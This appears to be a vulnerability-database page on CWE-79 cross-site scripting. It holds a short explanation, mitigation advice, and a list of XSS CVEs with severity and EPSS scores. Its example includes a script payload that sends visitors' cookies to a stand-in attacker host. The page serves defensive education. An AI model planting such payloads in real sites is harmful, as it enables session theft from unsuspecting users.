Fallos del tipo CWE-79

28.631 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-25827HIGHCross-site Scripting in OpenTSDBEPSS 0.9%CVE-2021-4288LOWOpenMRS openmrs-module-referenceapplication userApp.gsp cross site scriptingEPSS 0.9%CVE-2022-1208MEDIUMUltimate Member <= 2.3.2 - Stored Cross-Site ScriptingEPSS 0.9%CVE-2024-11252MEDIUMSocial Sharing Plugin – Sassy Social Share <= 3.3.69 - Reflected Cross-Site Scripting via heateor_mastodon_share ParameterEPSS 0.9%CVE-2021-4291LOWOpenMRS Admin UI Module location.gsp cross site scriptingEPSS 0.9%CVE-2024-40101HIGHA Reflected Cross-site scripting (XSS) vulnerability exists in '/search' in microweber 2.0.15 and earlier allowing unauthenticated remote atEPSS 0.9%CVE-2020-8292—Rocket.Chat server before 3.9.0 is vulnerable to a self cross-site scripting (XSS) vulnerability via the drag & drop functionality in messagEPSS 0.9%CVE-2022-0558CRITICALCross-site Scripting (XSS) - Stored in microweber/microweberEPSS 0.9%CVE-2023-36477CRITICALPersistent Cross-site Scripting (XSS) through CKEditor Configuration pages in XWiki PlatformEPSS 0.9%CVE-2021-4292LOWOpenMRS Admin UI Module Manage Privilege Page privilege.gsp cross site scriptingEPSS 0.9%CVE-2022-0723HIGHCross-site Scripting (XSS) - Reflected in microweber/microweberEPSS 0.9%CVE-2022-0965CRITICALStored XSS viva .ofd file upload in star7th/showdocEPSS 0.9%CVE-2024-52844MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.9%CVE-2024-52823MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.9%CVE-2020-8294—A missing link validation in Nextcloud Server before 20.0.2, 19.0.5, 18.0.11 allows execution of a stored XSS attack using Internet ExplorerEPSS 0.9%CVE-2024-52822MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.9%CVE-2024-52837MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.9%CVE-2024-43733MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.9%CVE-2024-43738MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.9%CVE-2024-43754MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.9%